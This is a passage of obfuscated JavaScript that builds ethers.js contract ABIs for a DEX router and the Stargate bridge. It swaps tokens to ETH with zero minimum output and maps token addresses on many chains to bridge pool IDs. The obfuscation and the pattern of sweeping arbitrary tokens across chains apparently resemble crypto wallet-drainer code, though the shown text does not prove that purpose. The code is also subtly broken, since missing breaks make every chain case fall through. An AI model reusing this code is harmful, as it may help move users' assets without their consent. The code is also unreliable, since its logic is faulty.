};
const _0x4ca0af = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x586491 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x3fbaa4 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x50cd55 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x3bf654 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x48b616 = {
inputs: [_0x4ca0af, _0x586491, _0x3fbaa4, _0x50cd55, _0x3bf654],
name: "swapExactTokensForTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
};
const _0x3a6bd3 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x589578 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x1c8f7a = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x478997 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x1edc39 = {
internalType: "uint256",
name: "deadline",
type: 'uint256'
};
const _0x50fd31 = {
inputs: [_0x3a6bd3, _0x589578, _0x1c8f7a, _0x478997, _0x1edc39],
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: "function"
};
const _0x44b77b = {
internalType: 'uint256',
name: "amountOut",
type: "uint256"
};
const _0x4e888e = {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
};
const _0x1f3c70 = {
internalType: "address[]",
name: "path",
type: "address[]"
};
const _0xe767e6 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x1e0ee5 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x38bc64 = {
inputs: [_0x44b77b, _0x4e888e, _0x1f3c70, _0xe767e6, _0x1e0ee5],
name: "swapTokensForExactETH",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x2b6be1 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x29affa = {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
};
const _0x4ad477 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x2b423e = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0x4f5331 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x335d85 = {
inputs: [_0x2b6be1, _0x29affa, _0x4ad477, _0x2b423e, _0x4f5331],
name: "swapTokensForExactTokens",
outputs: [{
'internalType': 'uint256[]',
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x3e49ef = {
stateMutability: "payable",
type: "receive"
};
let _0x3a88f0 = [_0x22fc49, _0x46a498, _0x16daec, _0x568a8e, _0x47ddb0, _0x4eb0c8, _0x20806d, _0x210cfa, _0x8222fb, _0xd0952d, _0x37145b, _0x176703, _0x50bd26, _0xf1e8e5, _0x3d8365, _0x42b228, _0x40f678, _0x49f340, _0x4bb0e9, _0x44982c, _0x4e0bb4, _0x48b616, _0x50fd31, _0x38bc64, _0x335d85, _0x3e49ef];
let _0x5d23b2 = new ethers.Contract(_0x1d9d78, _0x3a88f0, _0x30ef12);
let _0x3bf3ae = await _0x5d23b2.WETH();
let _0x1036df = [];
_0x1036df[0] = _0x579e7a.asset.token;
_0x1036df[1] = _0x3bf3ae;
return _0x5d23b2.swapExactTokensForETH(_0x579e7a.asset.amount, 0, _0x1036df, this.caller, _0x10922f);
}
case "Stargate":
{
let _0x107418 = _0x579e7a.chain;
let _0x244d60 = 101;
let _0x13b5c9 = 110;
let _0x59dec2 = 1;
let _0x28ca0c = 1;
console.log("checking path for stargate");
switch (_0x107418) {
case 'eth':
{
_0x244d60 = 101;
switch (_0x579e7a.asset.token.toLowerCase()) {
case "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48":
{
_0x59dec2 = 1;
_0x28ca0c = 1;
}
break;
case "0xdac17f958d2ee523a2206206994597c13d831ec7":
{
_0x59dec2 = 2;
_0x28ca0c = 1;
}
break;
case "0x6b175474e89094c44da98b954eedeac495271d0f":
{
_0x59dec2 = 3;
_0x28ca0c = 3;
_0x13b5c9 = 109;
}
break;
case "0x853d955acef822db058eb8505911ed77f175b99e":
{
_0x59dec2 = 7;
_0x28ca0c = 7;
}
break;
case "0x57ab1ec28d129707052df4df418d58a2d46d5f51":
{
_0x59dec2 = 14;
_0x28ca0c = 14;
_0x13b5c9 = 111;
}
break;
case "0x0c10bf8fcb7bf5412187a595ab97a3609160b5c6":
{
_0x59dec2 = 11;
_0x28ca0c = 11;
_0x13b5c9 = 102;
}
break;
case "0x5f98805a4e8be255a32880fdec7f6728c6568ba0":
{
_0x59dec2 = 15;
_0x28ca0c = 15;
}
break;
case "0x8d6cebd76f18e1558d4db88138e2defb3909fad6":
{
_0x59dec2 = 16;
_0x28ca0c = 16;
}
break;
}
}
case "bsc":
{
_0x244d60 = 102;
switch (_0x579e7a.asset.token.toLowerCase()) {
case "0x55d398326f99059ff775485246999027b3197955":
{
_0x59dec2 = 2;
_0x28ca0c = 1;
}
break;
case "0xe9e7cea3dedca5984780bafc599bd69add087d56":
{
_0x59dec2 = 5;
_0x28ca0c = 1;
}
break;
case "0xd17479997f34dd9156deef8f95a52d81d265be9c":
{
_0x59dec2 = 11;
_0x28ca0c = 11;
_0x13b5c9 = 101;
}
break;
case "0x3f56e0c36d275367b8c502090edf38289b3dea0d":
{
_0x59dec2 = 16;
_0x28ca0c = 16;
}
break;
}
}
case 'avax':
{
_0x244d60 = 106;
switch (_0x579e7a.asset.token.toLowerCase()) {
case "0xb97ef9ef8734c71904d8002f8b6bc66dd9c48a6e":
{
_0x59dec2 = 1;
_0x28ca0c = 1;
}
break;
case "0x9702230a8ea53601f5cd2dc00fdbc13d4df4a8c7":
{
_0x59dec2 = 2;
_0x28ca0c = 1;
}
break;
case "0xd24c2ad096400b6fbcd2ad8b24e7acbc21a1da64":
{
_0x59dec2 = 7;
_0x28ca0c = 7;
}
break;
case "0x5c49b268c9841aff1cc3b0a418ff5c3442ee3f3b":
{
_0x59dec2 = 16;
_0x28ca0c = 16;
}
break;
}
}
case 'matic':
{
_0x244d60 = 109;
switch (_0x579e7a.asset.token.toLowerCase()) {
case "0x2791bca1f2de4661ed88a30c99a7a9449aa84174":
{
_0x59dec2 = 1;
_0x28ca0c = 1;
}
break;
case "0xc2132d05d31c914a87c6611c10748aeb04b58e8f":
{
_0x59dec2 = 2;
_0x28ca0c = 1;
}
break;
case "0x8f3cf7ad23cd3cadbd9735aff958023239c6a063":
{
_0x59dec2 = 3;
_0x28ca0c = 3;
_0x13b5c9 = 111;
}
break;
case "0xa3fa99a148fa48d14ed51d610c367c61876997f1":
{
_0x59dec2 = 16;
_0x28ca0c = 16;
}
break;
}
}
case 'arb':
{
_0x244d60 = 110;
switch (_0x579e7a.asset.token.toLowerCase()) {
case "0xff970a61a04b1ca14834a43f5de4533ebddb5cc8":
{
_0x59dec2 = 1;
_0x28ca0c = 1;
_0x13b5c9 = 111;
}
break;
case "0xfd086bc7cd5c481dcc9c85ebe478a1c0b69fcbb9":
{
_0x59dec2 = 2;
_0x28ca0c = 1;
_0x13b5c9 = 111;
}
break;
case "0x17fc002b466eec40dae837fc4be5c67993ddbd6f":
{
_0x59dec2 = 7;
_0x28ca0c = 7;
_0x13b5c9 = 111;
}
break;
case "0x93b346b6bc2548da6a1e7d98e9a421b42541425b":
{
_0x59dec2 = 15;
_0x28ca0c = 15;
_0x13b5c9 = 111;
}
break;
case "0x3f56e0c36d275367b8c502090edf38289b3dea0d":
{
_0x59dec2 = 16;
_0x28ca0c = 16;
_0x13b5c9 = 111;
}
break;
}
}
case 'op':
{
_0x244d60 = 111;
switch (_0x579e7a.asset.token.toLowerCase()) {
case "0x7f5c764cbc14f9669b88837ca1490cca17c31607":
{
_0x59dec2 = 1;
_0x28ca0c = 1;
}
break;
case "0xda10009cbd5d07dd0cecc66161fc93d7c9000da1":
{
_0x59dec2 = 3;
_0x28ca0c = 3;
_0x13b5c9 = 109;
}
break;
case "0x2e3d870790dc77a83dd1d18184acc7439a53f475":
{
_0x59dec2 = 7;
_0x28ca0c = 7;
}
break;
case "0x8c6f28f2f1a3c87f0f938b96d27520d9751ec8d9":
{
_0x59dec2 = 14;
_0x28ca0c = 14;
_0x13b5c9 = 101;
}
break;
case "0xc40f949f8a4e094d1b49a23ea9241d289b7b2819":
{
_0x59dec2 = 15;
_0x28ca0c = 15;
}
break;
case "0xdfa46478f9e5ea86d57387849598dbfb2e964b02":
{
_0x59dec2 = 16;
_0x28ca0c = 16;
}
break;
}
}
case "ftm":
{
_0x244d60 = 112;
switch (_0x579e7a.asset.token.toLowerCase()) {
case "0x28a92dde19d9989f39a49905d7c9c2fac7799bdf":
{
_0x59dec2 = 21;
_0x28ca0c = 1;
}
break;
}
}
case "base":
{
_0x244d60 = 184;
switch (_0x579e7a.asset.token.toLowerCase()) {
case "0xd9aaec86b65d86f6a7b5b1b0c42ffa531710b6ca":
{
_0x59dec2 = 1;
_0x28ca0c = 1;
}
break;
}
}
}
const _0x596b54 = {
inputs: [],
stateMutability: "nonpayable",
type: "constructor"
};
const _0x399a1b = {
indexed: false,
internalType: "uint16",
name: "chainId",
type: "uint16"
};
const _0x50dc0d = {
indexed: false,
internalType: 'bytes',
name: "srcAddress",
type: 'bytes'
};
const _0x36f43c = {
indexed: false,
internalType: 'uint256',
name: "nonce",
type: "uint256"
};
const _0x2db532 = {
indexed: false,
internalType: 'address',
name: "token",
type: "address"
};
const _0x3ee83e = {
indexed: false,
internalType: "uint256",
name: "amountLD",
type: "uint256"
};
const _0x2beed0 = {
indexed: false,
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x3aed84 = {
indexed: false,
internalType: 'bytes',
name: 'payload',
type: 'bytes'
};
const _0x3529b8 = {
indexed: false,
internalType: 'bytes',
name: "reason",
type: 'bytes'
};
const _0x1477d0 = {
anonymous: false,
inputs: [_0x399a1b, _0x50dc0d, _0x36f43c, _0x2db532, _0x3ee83e, _0x2beed0, _0x3aed84, _0x3529b8],
name: "CachedSwapSaved",
type: 'event'
};
const _0x3fd0a5 = {
indexed: true,
internalType: "address",
name: "previousOwner",
type: 'address'
};
const _0x1c4359 = {
indexed: true,
internalType: "address",
name: "newOwner",
type: 'address'
};
const _0x134963 = {
anonymous: false,
inputs: [_0x3fd0a5, _0x1c4359],
name: "OwnershipTransferred",
type: "event"
};
const _0x15201d = {
indexed: false,
internalType: "uint16",
name: "srcChainId",
type: "uint16"
};
const _0x7a83eb = {
indexed: true,
internalType: 'bytes',
name: "srcAddress",
type: 'bytes'
};
const _0x2f8b67 = {
indexed: true,
internalType: "uint256",
name: "nonce",
type: "uint256"
};
const _0x2c901f = {
indexed: false,
internalType: "uint256",
name: "srcPoolId",
type: "uint256"
};
const _0x13caaf = {
indexed: false,
internalType: "uint256",
name: "dstPoolId",
type: "uint256"
};
const _0x1e02f0 = {
indexed: false,
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x10ef35 = {
indexed: false,
internalType: "uint256",
name: "amountSD",
type: "uint256"
};
const _0x28d1a2 = {
indexed: false,
internalType: "uint256",
name: "mintAmountSD",
type: "uint256"
};
const _0x52e60e = {
anonymous: false,
inputs: [_0x15201d, _0x7a83eb, _0x2f8b67, _0x2c901f, _0x13caaf, _0x1e02f0, _0x10ef35, _0x28d1a2],
name: "RedeemLocalCallback",
type: "event"
};
const _0x1cc4e8 = {
indexed: false,
internalType: "uint8",
name: "bridgeFunctionType",
type: "uint8"
};
const _0x363deb = {
indexed: false,
internalType: "uint16",
name: "chainId",
type: "uint16"
};
const _0x16c101 = {
indexed: false,
internalType: 'bytes',
name: "srcAddress",
type: 'bytes'
};
const _0x631e0c = {
indexed: false,
internalType: "uint256",
name: "nonce",
type: "uint256"
};
const _0x3aacc8 = {
anonymous: false,
inputs: [_0x1cc4e8, _0x363deb, _0x16c101, _0x631e0c],
name: 'Revert',
type: "event"
};
const _0x45569e = {
indexed: false,
internalType: "uint16",
name: "srcChainId",
type: "uint16"
};
const _0x387f6e = {
indexed: false,
internalType: "uint256",
name: "_srcPoolId",
type: "uint256"
};
const _0x51095d = {
indexed: false,
internalType: "uint256",
name: "_dstPoolId",
type: "uint256"
};
const _0x40733c = {
indexed: false,
internalType: 'bytes',
name: 'to',
type: 'bytes'
};
const _0x39d42d = {
indexed: false,
internalType: "uint256",
name: "redeemAmountSD",
type: 'uint256'
};
const _0x1cb2e7 = {
indexed: false,
internalType: "uint256",
name: "mintAmountSD",
type: "uint256"
};
const _0x28671b = {
indexed: true,
internalType: "uint256",
name: "nonce",
type: "uint256"
};
const _0x66704 = {
indexed: true,
internalType: 'bytes',
name: "srcAddress",
type: 'bytes'
};
const _0x1d867a = {
anonymous: false,
inputs: [_0x45569e, _0x387f6e, _0x51095d, _0x40733c, _0x39d42d, _0x1cb2e7, _0x28671b, _0x66704],
name: "RevertRedeemLocal",
type: "event"
};
const _0x587357 = {
internalType: "uint256",
name: "_poolId",
type: "uint256"
};
const _0xb4bfac = {
internalType: "uint16",
name: "_dstChainId",
type: "uint16"
};
const _0x21f6e7 = {
internalType: "uint256",
name: "_dstPoolId",
type: "uint256"
};
const _0x4034d1 = {
inputs: [_0x587357, _0xb4bfac, _0x21f6e7],
name: "activateChainPath",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x322619 = {
internalType: "uint256",
name: "_poolId",
type: "uint256"
};
const _0x406309 = {
internalType: "uint256",
name: "_amountLD",
type: "uint256"
};
const _0x1ce8a9 = {
internalType: 'address',
name: "_to",
type: 'address'
};
const _0x4d9bdf = {
inputs: [_0x322619, _0x406309, _0x1ce8a9],
name: "addLiquidity",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x5de97b = {
inputs: [],
name: "bridge",
outputs: [{
'internalType': "contract Bridge",
'name': '',
'type': "address"
}],
stateMutability: 'view',
type: 'function'
};
const _0x547e07 = {
internalType: "uint16",
name: '',
type: "uint16"
};
const _0x32d396 = {
internalType: 'bytes',
name: '',
type: 'bytes'
};
const _0x3427f4 = {
internalType: "uint256",
name: '',
type: "uint256"
};
const _0x121edb = {
inputs: [_0x547e07, _0x32d396, _0x3427f4],
name: "cachedSwapLookup",
outputs: [{
'internalType': 'address',
'name': "token",
'type': 'address'
}, {
'internalType': "uint256",
'name': "amountLD",
'type': "uint256"
}, {
'internalType': 'address',
'name': 'to',
'type': 'address'
}, {
'internalType': 'bytes',
'name': "payload",
'type': 'bytes'
}],
stateMutability: 'view',
type: 'function'
};
const _0x11e509 = {
internalType: "uint256",
name: "_poolId",
type: "uint256"
};
const _0x2528a1 = {
internalType: 'bool',
name: '_fullMode',
type: "bool"
};
const _0x3e62e5 = {
inputs: [_0x11e509, _0x2528a1],
name: 'callDelta',
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x42cf5d = {
internalType: "uint16",
name: "_srcChainId",
type: "uint16"
};
const _0x41fc2b = {
internalType: 'bytes',
name: "_srcAddress",
type: 'bytes'
};
const _0x1ebe40 = {
internalType: "uint256",
name: "_nonce",
type: "uint256"
};
const _0x432337 = {
inputs: [_0x42cf5d, _0x41fc2b, _0x1ebe40],
name: "clearCachedSwap",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x18ab68 = {
internalType: "uint256",
name: "_poolId",
type: "uint256"
};
const _0xd3c4ee = {
internalType: "uint16",
name: "_dstChainId",
type: "uint16"
};
const _0x16196d = {
internalType: "uint256",
name: "_dstPoolId",
type: "uint256"
};
const _0x345188 = {
internalType: "uint256",
name: "_weight",
type: "uint256"
};
const _0x1a8434 = {
inputs: [_0x18ab68, _0xd3c4ee, _0x16196d, _0x345188],
name: "createChainPath",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x2bba45 = {
internalType: "uint256",
name: "_poolId",
type: "uint256"
};
const _0x3b679e = {
internalType: 'address',
name: "_token",
type: "address"
};
const _0x5e7187 = {
internalType: "uint8",
name: "_sharedDecimals",
type: "uint8"
};
const _0x2c51ea = {
internalType: "uint8",
name: "_localDecimals",
type: 'uint8'
};
const _0x21e8e3 = {
internalType: "string",
name: "_name",
type: "string"
};
const _0x31f64c = {
internalType: "string",
name: "_symbol",
type: "string"
};
const _0x2773bf = {
internalType: 'address',
name: '',
type: 'address'
};
const _0x297a3a = {
inputs: [_0x2bba45, _0x3b679e, _0x5e7187, _0x2c51ea, _0x21e8e3, _0x31f64c],
name: "createPool",
outputs: [_0x2773bf],
stateMutability: "nonpayable",
type: 'function'
};
const _0x53d0f4 = {
internalType: "uint16",
name: "_dstChainId",
type: "uint16"
};
const _0x3765ed = {
internalType: "uint256",
name: "_dstPoolId",
type: "uint256"
};
const _0x33e6cc = {
internalType: "uint256",
name: "_srcPoolId",
type: "uint256"
};
const _0x58f4b9 = {
internalType: "uint256",
name: 'credits',
type: 'uint256'
};
const _0x294ee0 = {
internalType: "uint256",
name: "idealBalance",
type: "uint256"
};
const _0xc2f54c = {
components: [_0x58f4b9, _0x294ee0],
internalType: "struct Pool.CreditObj",
name: '_c',
type: "tuple"
};
const _0x19b934 = {
inputs: [_0x53d0f4, _0x3765ed, _0x33e6cc, _0xc2f54c],
name: "creditChainPath",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x55e35e = {
internalType: "contract Factory",
name: '',
type: 'address'
};
const _0xc43721 = {
inputs: [],
name: 'factory',
outputs: [_0x55e35e],
stateMutability: "view",
type: 'function'
};
const _0x2087d5 = {
internalType: "uint16",
name: "_srcPoolId",
type: "uint16"
};
const _0x2332d4 = {
internalType: "uint256",
name: "_amountLP",
type: "uint256"
};
const _0x3176d0 = {
internalType: 'address',
name: "_to",
type: "address"
};
const _0x1d3603 = {
internalType: "uint256",
name: 'amountSD',
type: "uint256"
};
const _0x312491 = {
inputs: [_0x2087d5, _0x2332d4, _0x3176d0],
name: "instantRedeemLocal",
outputs: [_0x1d3603],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x18b24d = {
inputs: [],
name: "mintFeeOwner",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0x16605c = {
internalType: 'address',
name: '',
type: "address"
};
const _0x1b1993 = {
inputs: [],
name: "owner",
outputs: [_0x16605c],
stateMutability: "view",
type: 'function'
};
const _0x55d135 = {
inputs: [],
name: "protocolFeeOwner",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0x201054 = {
internalType: "uint16",
name: "_dstChainId",
type: "uint16"
};
const _0x54940a = {
internalType: "uint8",
name: "_functionType",
type: "uint8"
};
const _0x1033b1 = {
internalType: "bytes",
name: "_toAddress",
type: 'bytes'
};
const _0x48233a = {
internalType: 'bytes',
name: "_transferAndCallPayload",
type: "bytes"
};
const _0x465657 = {
internalType: "uint256",
name: "dstGasForCall",
type: "uint256"
};
const _0x49ce6b = {
internalType: "uint256",
name: "dstNativeAmount",
type: "uint256"
};
const _0x57ac9d = {
internalType: "bytes",
name: "dstNativeAddr",
type: 'bytes'
};
const _0x3bea94 = {
components: [_0x465657, _0x49ce6b, _0x57ac9d],
internalType: "struct IStargateRouter.lzTxObj",
name: "_lzTxParams",
type: "tuple"
};
const _0xe7cc1a = {
inputs: [_0x201054, _0x54940a, _0x1033b1, _0x48233a, _0x3bea94],
name: "quoteLayerZeroFee",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}, {
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: "view",
type: 'function'
};
const _0xa9e6e9 = {
internalType: "uint16",
name: "_dstChainId",
type: "uint16"
};
const _0x2d372f = {
internalType: "uint256",
name: "_srcPoolId",
type: "uint256"
};
const _0x2ee66f = {
internalType: "uint256",
name: "_dstPoolId",
type: "uint256"
};
const _0x282749 = {
internalType: "address payable",
name: "_refundAddress",
type: 'address'
};
const _0x51b154 = {
internalType: "uint256",
name: "_amountLP",
type: "uint256"
};
const _0x274663 = {
internalType: 'bytes',
name: "_to",
type: 'bytes'
};
const _0x540545 = {
internalType: "uint256",
name: "dstGasForCall",
type: "uint256"
};
const _0x21f7b3 = {
internalType: "uint256",
name: "dstNativeAmount",
type: 'uint256'
};
const _0xff5d22 = {
internalType: "bytes",
name: "dstNativeAddr",
type: 'bytes'
};
const _0x55c841 = {
components: [_0x540545, _0x21f7b3, _0xff5d22],
internalType: "struct IStargateRouter.lzTxObj",
name: "_lzTxParams",
type: "tuple"
};
const _0x1f1263 = {
inputs: [_0xa9e6e9, _0x2d372f, _0x2ee66f, _0x282749, _0x51b154, _0x274663, _0x55c841],
name: "redeemLocal",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x271ba5 = {
internalType: "uint16",
name: "_srcChainId",
type: "uint16"
};
const _0x4b6cdb = {
internalType: 'bytes',
name: "_srcAddress",
type: 'bytes'
};
const _0x31c21f = {
internalType: "uint256",
name: "_nonce",
type: "uint256"
};
const _0x43819b = {
internalType: 'uint256',
name: "_srcPoolId",
type: "uint256"
};
const _0x525d2c = {
internalType: "uint256",
name: "_dstPoolId",
type: "uint256"
};
const _0x2eac52 = {
internalType: 'address',
name: "_to",
type: 'address'
};
const _0x3c1223 = {
internalType: "uint256",
name: '_amountSD',
type: "uint256"
};
const _0x2e03b4 = {
internalType: "uint256",
name: "_mintAmountSD",
type: "uint256"
};
const _0x233031 = {
inputs: [_0x271ba5, _0x4b6cdb, _0x31c21f, _0x43819b, _0x525d2c, _0x2eac52, _0x3c1223, _0x2e03b4],
name: "redeemLocalCallback",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x219c92 = {
internalType: "uint16",
name: "_srcChainId",
type: "uint16"
};
const _0x35135f = {
internalType: 'bytes',
name: "_srcAddress",
type: 'bytes'
};
const _0x316f3b = {
internalType: "uint256",
name: "_nonce",
type: "uint256"
};
const _0xced5c9 = {
internalType: "uint256",
name: "_srcPoolId",
type: "uint256"
};
const _0x213f5b = {
internalType: "uint256",
name: "_dstPoolId",
type: 'uint256'
};
const _0x2c58fa = {
internalType: "uint256",
name: "_amountSD",
type: "uint256"
};
const _0x1bb83b = {
internalType: "bytes",
name: "_to",
type: "bytes"
};
const _0x497547 = {
inputs: [_0x219c92, _0x35135f, _0x316f3b, _0xced5c9, _0x213f5b, _0x2c58fa, _0x1bb83b],
name: "redeemLocalCheckOnRemote",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x542d9e = {
internalType: "uint16",
name: "_dstChainId",
type: "uint16"
};
const _0x38ffae = {
internalType: "uint256",
name: "_srcPoolId",
type: "uint256"
};
const _0xebd5eb = {
internalType: "uint256",
name: "_dstPoolId",
type: "uint256"
};
const _0x407d21 = {
internalType: "address payable",
name: "_refundAddress",
type: "address"
};
const _0x4166aa = {
internalType: "uint256",
name: '_amountLP',
type: "uint256"
};
const _0x127164 = {
internalType: "uint256",
name: "_minAmountLD",
type: "uint256"
};
const _0x32240c = {
internalType: 'bytes',
name: "_to",
type: "bytes"
};
const _0x3a600c = {
internalType: "uint256",
name: "dstGasForCall",
type: "uint256"
};
const _0x365d92 = {
internalType: "uint256",
name: "dstNativeAmount",
type: "uint256"
};
const _0x159298 = {
internalType: "bytes",
name: "dstNativeAddr",
type: 'bytes'
};
const _0x25d094 = {
components: [_0x3a600c, _0x365d92, _0x159298],
internalType: "struct IStargateRouter.lzTxObj",
name: "_lzTxParams",
type: "tuple"
};
const _0x143e0f = {
inputs: [_0x542d9e, _0x38ffae, _0xebd5eb, _0x407d21, _0x4166aa, _0x127164, _0x32240c, _0x25d094],
name: "redeemRemote",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x26bf33 = {
inputs: [],
name: "renounceOwnership",
outputs: [],
stateMutability: "nonpayable",
type: "function"
};
const _0x3fb724 = {
internalType: "uint16",
name: "_srcChainId",
type: "uint16"
};
const _0x2414a4 = {
internalType: 'bytes',
name: "_srcAddress",
type: "bytes"
};
const _0x40cbf8 = {
internalType: "uint256",
name: "_nonce",
type: "uint256"
};
const _0xe0ea96 = {
inputs: [_0x3fb724, _0x2414a4, _0x40cbf8],
name: "retryRevert",
outputs: [],
stateMutability: "payable",
type: "function"
};
const _0xdba06a = {
internalType: "uint16",
name: '',
type: "uint16"
};
const _0x3f0da0 = {
internalType: 'bytes',
name: '',
type: "bytes"
};
const _0x5232d3 = {
internalType: "uint256",
name: '',
type: "uint256"
};
const _0x570335 = {
inputs: [_0xdba06a, _0x3f0da0, _0x5232d3],
name: "revertLookup",
outputs: [{
'internalType': 'bytes',
'name': '',
'type': 'bytes'
}],
stateMutability: 'view',
type: 'function'
};
const _0x4e2da1 = {
internalType: "uint16",
name: "_dstChainId",
type: "uint16"
};
const _0x5bbeba = {
internalType: 'bytes',
name: "_srcAddress",
type: 'bytes'
};
const _0x5ca3d0 = {
internalType: "uint256",
name: "_nonce",
type: 'uint256'
};
const _0x4c6956 = {
internalType: "address payable",
name: "_refundAddress",
type: 'address'
};
const _0x5a2fc3 = {
internalType: "uint256",
name: "dstGasForCall",
type: "uint256"
};
const _0x32efe0 = {
internalType: "uint256",
name: "dstNativeAmount",
type: "uint256"
};
const _0x5ea0c4 = {
internalType: 'bytes',
name: "dstNativeAddr",
type: 'bytes'
};
const _0x19e995 = {
components: [_0x5a2fc3, _0x32efe0, _0x5ea0c4],
internalType: "struct IStargateRouter.lzTxObj",
name: "_lzTxParams",
type: "tuple"
};
const _0x300fbd = {
inputs: [_0x4e2da1, _0x5bbeba, _0x5ca3d0, _0x4c6956, _0x19e995],
name: "revertRedeemLocal",
outputs: [],
stateMutability: "payable",
type: "function"
};
const _0x3b24fa = {
internalType: "uint16",
name: "_dstChainId",
type: "uint16"
};
const _0x1ea0f1 = {
internalType: "uint256",
name: "_srcPoolId",
type: "uint256"
};
const _0x3f2510 = {
internalType: "uint256",
name: "_dstPoolId",
type: "uint256"
};
const _0x288293 = {
internalType: "address payable",
name: "_refundAddress",
type: "address"
};
const _0x4924b4 = {
inputs: [_0x3b24fa, _0x1ea0f1, _0x3f2510, _0x288293],
name: "sendCredits",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x1b2e48 = {
internalType: "contract Bridge",
name: "_bridge",
type: "address"
};
const _0x23abda = {
internalType: "contract Factory",
name: "_factory",
type: 'address'
};
const _0xacb183 = {
inputs: [_0x1b2e48, _0x23abda],
name: "setBridgeAndFactory",
outputs: [],
stateMutability: "nonpayable",
type: "function"
};
const _0x33ea54 = {
internalType: "uint256",
name: "_poolId",
type: "uint256"
};
const _0x4ee96c = {
internalType: 'bool',
name: '_batched',
type: 'bool'
};
const _0x262c15 = {
internalType: "uint256",
name: "_swapDeltaBP",
type: "uint256"
};
const _0x477669 = {
internalType: 'uint256',
name: '_lpDeltaBP',
type: 'uint256'
};
const _0x143dff = {
internalType: "bool",
name: "_defaultSwapMode",
type: "bool"
};
const _0x3c5199 = {
internalType: 'bool',
name: "_defaultLPMode",
type: 'bool'
};
const _0x1af010 = {
inputs: [_0x33ea54, _0x4ee96c, _0x262c15, _0x477669, _0x143dff, _0x3c5199],
name: "setDeltaParam",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x3c2270 = {
internalType: "uint256",
name: "_poolId",
type: "uint256"
};
const _0x45b14d = {
internalType: 'address',
name: "_feeLibraryAddr",
type: 'address'
};
const _0x3b5c5e = {
inputs: [_0x3c2270, _0x45b14d],
name: "setFeeLibrary",
outputs: [],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x77717d = {
internalType: "uint256",
name: "_poolId",
type: "uint256"
};
const _0x35736f = {
internalType: "uint256",
name: "_mintFeeBP",
type: "uint256"
};
const _0x53e326 = {
inputs: [_0x77717d, _0x35736f],
name: "setFees",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x168937 = {
internalType: 'address',
name: "_owner",
type: 'address'
};
const _0x536c9c = {
inputs: [_0x168937],
name: "setMintFeeOwner",
outputs: [],
stateMutability: "nonpayable",
type: "function"
};
const _0x5984e4 = {
internalType: 'address',
name: "_owner",
type: 'address'
};
const _0x7181e3 = {
inputs: [_0x5984e4],
name: "setProtocolFeeOwner",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x4ebee3 = {
internalType: "uint256",
name: "_poolId",
type: "uint256"
};
const _0x560be8 = {
internalType: "bool",
name: "_swapStop",
type: 'bool'
};
const _0x39326 = {
inputs: [_0x4ebee3, _0x560be8],
name: "setSwapStop",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x1c93a8 = {
internalType: "uint256",
name: "_poolId",
type: "uint256"
};
const _0x4bfce0 = {
internalType: "uint16",
name: "_dstChainId",
type: "uint16"
};
const _0x1af12c = {
internalType: "uint256",
name: "_dstPoolId",
type: "uint256"
};
const _0x2bf8b9 = {
internalType: "uint16",
name: "_weight",
type: "uint16"
};
const _0x24c998 = {
inputs: [_0x1c93a8, _0x4bfce0, _0x1af12c, _0x2bf8b9],
name: "setWeightForChainPath",
outputs: [],
stateMutability: "nonpayable",
type: "function"
};
const _0x5e0b23 = {
internalType: "uint16",
name: "_dstChainId",
type: "uint16"
};
const _0x3b1351 = {
internalType: "uint256",
name: "_srcPoolId",
type: "uint256"
};
const _0x515a47 = {
internalType: "uint256",
name: "_dstPoolId",
type: 'uint256'
};
const _0x7e40ed = {
internalType: "address payable",
name: "_refundAddress",
type: "address"
};
const _0x16e197 = {
internalType: "uint256",
name: "_amountLD",
type: "uint256"
};
const _0x1f90a7 = {
internalType: "uint256",
name: "_minAmountLD",
type: "uint256"
};
